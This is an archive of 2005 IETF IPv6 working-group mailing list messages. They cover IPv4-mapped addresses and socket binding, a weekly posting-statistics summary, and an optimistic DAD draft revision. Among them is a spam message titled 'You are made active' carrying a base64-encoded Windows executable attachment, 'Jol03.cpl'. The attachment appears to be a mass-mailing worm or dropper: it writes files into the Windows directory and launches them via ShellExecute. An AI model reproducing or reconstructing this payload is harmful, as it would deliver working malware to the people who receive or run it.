vik4aauWAWZ8AYVPmJFcJ7JdasVCHq+FZ3Y9VBdHlUulTpYDTkQiVzZnIlXBpB29AzAtewp2 ShVyjDmGJieAI25mRUk1uqIrU39oeHEdOodCew18sqoZlwwNAwmVgoF5vW5Bj3jGhEa8h31L JIksrYZ5ZBmporxbfJ1HkQiwtDVGCqeHnD8RbJQFnx4nM1CPS6KvjiaKMja4BnCoFKyJWHkA = ----------jomdwdxaguhligpktpwn Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- ----------jomdwdxaguhligpktpwn-- From ipv6-bounces@ietf.org Thu Feb 3 18:45:36 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07649 for ; Thu, 3 Feb 2005 18:45:36 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwqxx-0004QK-VV for ipv6-web-archive@ietf.org; Thu, 03 Feb 2005 19:04:57 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwqU3-0003nF-P1; Thu, 03 Feb 2005 18:33:59 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwqN4-0001my-60 for ipv6@megatron.ietf.org; Thu, 03 Feb 2005 18:26:46 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06256 for ; Thu, 3 Feb 2005 18:26:43 -0500 (EST) Received: from basie.internet2.edu ([207.75.164.22]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwqfi-0003v4-3B for ipv6@ietf.org; Thu, 03 Feb 2005 18:46:03 -0500 Received: from localhost (unknown [127.0.0.1]) by basie.internet2.edu (Postfix) with ESMTP id A8FD41CD656; Thu, 3 Feb 2005 18:26:43 -0500 (EST) Received: from basie.internet2.edu ([127.0.0.1]) by localhost (basie.internet2.edu [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 19781-06; Thu, 3 Feb 2005 18:26:43 -0500 (EST) Received: from [127.0.0.1] (unknown [127.0.0.1]) by basie.internet2.edu (Postfix) with ESMTP id 3C4621CD5F6; Thu, 3 Feb 2005 18:26:43 -0500 (EST) Message-ID: <4202B332.3010307@internet2.edu> Date: Thu, 03 Feb 2005 16:26:42 -0700 From: "Jeff W. Boote" User-Agent: Mozilla Thunderbird 1.0 (Macintosh/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: ipv6@ietf.org References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <1107177886.27827.80.camel@firenze.zurich.ibm.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by mail.internet2.edu virus scanner X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a Content-Transfer-Encoding: 7bit Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b19722fc8d3865b147c75ae2495625f2 Content-Transfer-Encoding: 7bit Christian Weisgerber wrote: > Jeroen Massar wrote: > > >>I think that at least all the BSD's and most Linuxes are using this. >>They allow binding on :: (IPv6 any) and also accept IPv4 connections on >>the same socket, > > > OpenBSD doesn't allow this. FreeBSD and NetBSD don't by default, but > it can be enabled there. > OpenBSD doesn't allow it? An application can't even explicitly set IPV6_BINDV6ONLY to false? That is simply broken in my opinion. Forcing a server to do a select after accept when the developer has already gone to the trouble of dealing with multiple address families using the available address macros is not right. I realize there are security concerns involved, but there are also performance concerns. Lets not force additional system calls when they are not needed! I'm all for warning developers about the possible problems, but I see no reason to limit the functionality. Note that this argument is for mapped addresses, I don't see the same reason to keep compatible addresses. jeff -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 6 00:06:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02443 for ; Sun, 6 Feb 2005 00:06:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CxewB-0008Vl-Jv for ipv6-web-archive@ietf.org; Sun, 06 Feb 2005 00:26:23 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CxeaG-0005Dp-8p; Sun, 06 Feb 2005 00:03:44 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CxeXq-0004qZ-KI for ipv6@megatron.ietf.org; Sun, 06 Feb 2005 00:01:14 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02209 for ; Sun, 6 Feb 2005 00:01:11 -0500 (EST) Received: from cyteen.hactrn.net ([66.92.66.68]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cxeqy-0008Q6-31 for ipv6@ietf.org; Sun, 06 Feb 2005 00:21:00 -0500 Received: from hactrn.net (localhost [127.0.0.1]) by cyteen.hactrn.net (Postfix) with ESMTP id A25A5686 for ; Sun, 6 Feb 2005 00:00:40 -0500 (EST) To: ipv6@ietf.org From: Rob Austein Date: Sun, 06 Feb 2005 00:00:40 -0500 Message-Id: <20050206050040.A25A5686@cyteen.hactrn.net> X-Spam-Score: 1.1 (+) X-Scan-Signature: 21c69d3cfc2dd19218717dbe1d974352 Subject: Weekly posting summary for ipv6@ietf.org X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 1.1 (+) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Messages | Bytes | Who --------+------+--------+----------+------------------------ 17.81% | 13 | 21.27% | 95840 | jeroen@unfix.org 8.22% | 6 | 7.63% | 34380 | bob.hinden@nokia.com 6.85% | 5 | 7.84% | 35314 | jim.bound@hp.com 6.85% | 5 | 5.23% | 23553 | colm@stdlib.net 1.37% | 1 | 8.75% | 39412 | margaret@thingmagic.com 4.11% | 3 | 3.12% | 14047 | huitema@windows.microsoft.com 4.11% | 3 | 2.86% | 12894 | j.schoenwaelder@iu-bremen.de 4.11% | 3 | 2.71% | 12213 | msa@burp.tkv.asdf.org 4.11% | 3 | 2.68% | 12052 | francis.dupont@enst-bretagne.fr 2.74% | 2 | 2.26% | 10178 | sasson_shuki@emc.com 2.74% | 2 | 2.14% | 9655 | jari.arkko@kolumbus.fi 2.74% | 2 | 2.06% | 9268 | erik.nordmark@sun.com 2.74% | 2 | 1.82% | 8222 | tony@aloha.net 2.74% | 2 | 1.67% | 7533 | pekkas@netcore.fi 1.37% | 1 | 2.86% | 12865 | mukesh77@yahoo.com 1.37% | 1 | 1.88% | 8452 | soohong.park@samsung.com 1.37% | 1 | 1.82% | 8197 | mark_andrews@isc.org 1.37% | 1 | 1.80% | 8098 | rkrishnan.s@samsung.com 1.37% | 1 | 1.69% | 7625 | pwilson@apnic.net 1.37% | 1 | 1.63% | 7340 | kempf@docomolabs-usa.com 1.37% | 1 | 1.59% | 7153 | customer.support@wamu.com 1.37% | 1 | 1.48% | 6690 | rdroms@cisco.com 1.37% | 1 | 1.43% | 6427 | ace@speed.cis.nctu.edu.tw 1.37% | 1 | 1.34% | 6041 | dthaler@windows.microsoft.com 1.37% | 1 | 1.15% | 5164 | albert.e.manfredi@boeing.com 1.37% | 1 | 1.11% | 4984 | tjc@ecs.soton.ac.uk 1.37% | 1 | 1.01% | 4542 | sommerfeld@sun.com 1.37% | 1 | 0.97% | 4370 | sra+ipng@hactrn.net 1.37% | 1 | 0.95% | 4286 | tim@mentat.com 1.37% | 1 | 0.94% | 4240 | boote@internet2.edu 1.37% | 1 | 0.93% | 4179 | itojun@itojun.org 1.37% | 1 | 0.85% | 3847 | a@arifumi.net 1.37% | 1 | 0.85% | 3845 | yoshfuji@linux-ipv6.org 1.37% | 1 | 0.85% | 3818 | naddy@mips.inka.de 1.37% | 1 | 0.85% | 3808 | alh-ietf@tndh.net --------+------+--------+----------+------------------------ 100.00% | 73 |100.00% | 450532 | Total Grunchweather Associates provides this automatic summary on an at-whim basis at the request of the IPv6 WG chairs. Your mileage may vary. We decline responsibilities, all shapes, all sizes, all colors. If this script produces broken output, you get to keep both pieces. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 7 02:57:09 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA02804 for ; Mon, 7 Feb 2005 02:57:09 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cy450-0001KQ-8Y for ipv6-web-archive@ietf.org; Mon, 07 Feb 2005 03:17:11 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cy3dL-0007Vu-6f; Mon, 07 Feb 2005 02:48:35 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cy3ck-0007NH-Mh for ipv6@megatron.ietf.org; Mon, 07 Feb 2005 02:48:02 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA02222 for ; Mon, 7 Feb 2005 02:47:56 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cy3w4-00018r-Og for ipv6@ietf.org; Mon, 07 Feb 2005 03:07:58 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j177lEE30417; Mon, 7 Feb 2005 09:47:14 +0200 Date: Mon, 7 Feb 2005 09:47:14 +0200 (EET) From: Pekka Savola To: Tim Chown In-Reply-To: <20050202154709.GX22722@login.ecs.soton.ac.uk> Message-ID: References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> <20050202154709.GX22722@login.ecs.soton.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Cc: IPv6 WG Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: bb8f917bb6b8da28fc948aeffb74aa17 Now that the thread has quieted down.. On Wed, 2 Feb 2005, Tim Chown wrote: > I thought compatibles had (or were) being removed. That's why all reference > to them was removed from the new transition mechanisms RFC update? See > section 9 of draft-ietf-v6ops-mech-v2-06.txt. If we're doing a u-turn on > that, we should catch it in this draft too. Totally agree, of course. Including them here just adds confusion because the readers think that is another addressing format they will have to remember. > The docs at http://gsyc.escet.urjc.es/~eva/IPv6-web/ipv6.html and as > draft-ietf-v6ops-application-transition-03.txt (not -02!) show good > practice. Has the application-transition draft been last called yet? > Could we get it pushed and cited here in this RFC update? Application-transition was approved about 3-4 months ago, and is very soon to become RFC, and could be cited here as an informative reference. draft-ietf-v6ops-application-transition-03.txt also discusses briefly the tradeoffs that the app writer has to make regarding portability because the mapped addresses are not available on all the platforms. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 7 03:31:55 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA05698 for ; Mon, 7 Feb 2005 03:31:55 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cy4ce-00027a-4L for ipv6-web-archive@ietf.org; Mon, 07 Feb 2005 03:51:58 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cy4Ie-0004nq-H0; Mon, 07 Feb 2005 03:31:16 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cy4G9-0004Z9-1t for ipv6@megatron.ietf.org; Mon, 07 Feb 2005 03:28:41 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA05510 for ; Mon, 7 Feb 2005 03:28:39 -0500 (EST) Received: from static-2.241.240.220.dsl.comindico.com.au ([220.240.241.2] helo=anchovy.zoic.org) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cy4ZS-000245-1X for ipv6@ietf.org; Mon, 07 Feb 2005 03:48:41 -0500 Received: by anchovy.zoic.org (Postfix, from userid 1000) id 0432F70C1A3; Mon, 7 Feb 2005 19:28:34 +1100 (EST) Date: Mon, 7 Feb 2005 19:28:34 +1100 From: "Nick 'Sharkey' Moore" To: Brian Haberman Message-ID: <20050207082834.GB12251@zoic.org> Mail-Followup-To: Brian Haberman , IPv6 WG References: <24382B78-6024-11D9-856F-000D93330CAA@innovationslab.net> <4A05FBE6-6BC8-11D9-955E-000D93330CAA@innovationslab.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4A05FBE6-6BC8-11D9-955E-000D93330CAA@innovationslab.net> User-Agent: Mutt/1.3.28i X-URL: http://zoic.org/sharkey/ X-Spam-Score: 0.0 (/) X-Scan-Signature: 1ac7cc0a4cd376402b85bc1961a86ac2 Cc: IPv6 WG Subject: draft-ietf-ipv6-optimistic-dad-04.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 79899194edc4f33a41f49410777972f8 G'day Brian, IPv6ers. I've updated the draft In response to some last-minute editorial comments from Jinmei Tatuya and Pekka Savola, thanks Jinmei and Pekka. The only normative change is in section 3.3 "A router MUST NOT configure an Optimistic Address." -> "A router SHOULD NOT configure an Optimistic Address." (to allow for potential future NEMO shenanigans.) I've corresponded off-list with Pekka and he's happy with the new text. It should appear through the regular channels soon, or is available from in the meantime. -----Nick -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 7 07:26:34 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21835 for ; Mon, 7 Feb 2005 07:26:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cy8Hm-00072n-5C for ipv6-web-archive@ietf.org; Mon, 07 Feb 2005 07:46:38 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cy7we-0004K6-Jk; Mon, 07 Feb 2005 07:24:48 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cy7vk-0004Bm-Ue for ipv6@megatron.ietf.org; Mon, 07 Feb 2005 07:23:52 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21665 for ; Mon, 7 Feb 2005 07:23:51 -0500 (EST) Received: from 200-138-058-011.toobm202.dial.brasiltelecom.net.br ([200.138.58.11] helo=marfim-pfvqe5p9.org) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1Cy8El-0006yS-Br for ipv6@ietf.org; Mon, 07 Feb 2005 07:43:55 -0500 Date: Mon, 07 Feb 2005 10:23:10 -0300 To: "Ipv" From: "Margaret" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------txswpniktkfwyrgasjod" X-Spam-Score: 3.3 (+++) X-Scan-Signature: 00134749b78ab2213964fc53d03de937 Subject: You are made active X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 2.7 (++) X-Scan-Signature: 8aa7cbc518894eb04182283f0682f662 ----------txswpniktkfwyrgasjod Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Before use read the help
----------txswpniktkfwyrgasjod Content-Type: application/octet-stream; name="Jol03.cpl" Content-Disposition: attachment; filename="Jol03.cpl" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAO8AgkEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAMBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAI55AAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADAUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAEAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAACOSQAAADAAAI5JAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAAC1NQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoamd5dGt1Z2poZnlqZ2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1 am91aWxoamtqaHlrdWhrZmh0ZGZodHJqZ2poeXJmaHRydGp5cnRydGhydHllaHRlZXJlZGdm ZGhmZGhnZGh0ZGhzZWdyZHJlZGhmeWpydGhqZ2ZkZmRzeXRyeXJ0aGZnYmZnaGdna2hsamtm aGhtZmNnZmhnaGpramxmaGdqa2pnZnNkZ2hqamhmZ2Znamp1dHlpeXVpaWl5dGt1Z2poZnlq Z2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1aXV5ZGZ1anR5a2dqZHN3ZXR0 ZWhmZ2hqZ2h1Z3lqZmdoZmdodHJ0anlydHJ0aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNl Z3JkcmVkaGZ5anJ0aGpnAAAAbBQAAAAAAAAAAAAABBUAAIwUAACEFAAAAAAAAAAAAAAiFQAA pBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuBQAAMYUAADUFAAA7BQAAPgUAAAAAAAAEhUAAAAA AAC4FAAAxhQAANQUAADsFAAA+BQAAAAAAAASFQAAAAAAAHVzZXIzMi5kbGwAABoAQ2xvc2VI YW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlBAACeAldyaXRlRmls ZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRlQQBzaGVsbDMyLmRs bAAAAFWL7IN9DAF1SGgABAAAaBAWABDoogAAADPCaGESABBoEBYAEOidAAAAQWgQFgAQ6CYA AAALwHQZ99BqAGoAagBoEBYAEGgAEAAQagDoewAAALgBAAAAycIMAFWL7IPE+FNWM9tqAGoA agJqAGoDaAAAAMD/dQjoOQAAAJCJRfhAdCMzwr4AMAAQrZJqAI1F/FBSVv91+OglAAAASP91 +OgKAAAAQ4vDXlvJwgQAzP8ljBQAEP8lkBQAEP8llBQAEP8lmBQAEP8lnBQAEP8lpBQAEAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAAPzVLNVA1WzVxNXY14DXmNew18jX4Nf41 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAikkAAE1a AAABAAAAAgAAAP//AABAAAAAAAAAAEAAAAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAEAAAABQRQAATAEFAAAAAAAAAAAAAAAAAOAADwELAQAAADoAAABKAAAAAAAAAKAAAAAQ AAAAUAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAAL1AAAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAACijAADRAAAAAPAAAAIFAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAUAAAsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAA6AAAAAAAAujkAAAAQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAADAAAAAAAAPIKAAAAUAAAAAAAAAAAAAAAAAAA AAAAAAAAAABAAADAADAAAAAAAAC1PAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAA AAAAAAAAAFAAAACgAAAAQgAAAAIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAAIFAAAA8AAA AgUAAABEAAAAAAAAAAAAAAAAAAAgAADg63INCnl1dXZlbG50Ymdma2Jramhoa2dqZ3Zrdmtn Z3RrYmJqYmcNCmxoaGdnamZkZ2RjZGhnaHRmaGpoa2p1dWhoamhmZmhqaGpoZw0KbGhoZ2dq ZmRnZGZkZnJldHJldGV5ZmVydGVydGV0ZXRmZGhnDQpg6AEAAADog8QE6AEAAADpXYHtTSJA AOiHAgAA6OsT6wLNIP8kJJpkc2pnamhqa2V3cWa+R0boAQAAAJpZjZXSIkAA6AEAAABpWGa/ TXPoNwIAAI1S+egBAAAA6FtozP/imsTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP/k aGpoamdsamxramn/pT4lQADp6Ib////rAs0gi8TrAs0ggQAWAAAAD4X0AQAAaegAAAAAWJlq FVqNBAJQ6MABAABmPYbzdAPpjZV0I0AA6LUBAADoAQAAAGmDxASNvcMlQAC54D0AALqgpztT igf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrCKsbSwNLIMsHTwogHR0l10ugBAAAA6IPE BA8L6CvSZIsCiyBkjwJYXcOai5U+JUAA6EkBAADoAQAAAMeDxAS7c3oAAGoEaAAwAABTagD/ lUIlQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QEUI2VwyVAAFLoDgAAAOgBAAAAaYPEBFpe DlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAAcxorwOhaAAAAcyBBsBDoUAAAABLAc/d1 QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVz BoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLSw+slNlU5NlU5OlU5NlVDNlU5NlUPOTZV OTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP///3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUP 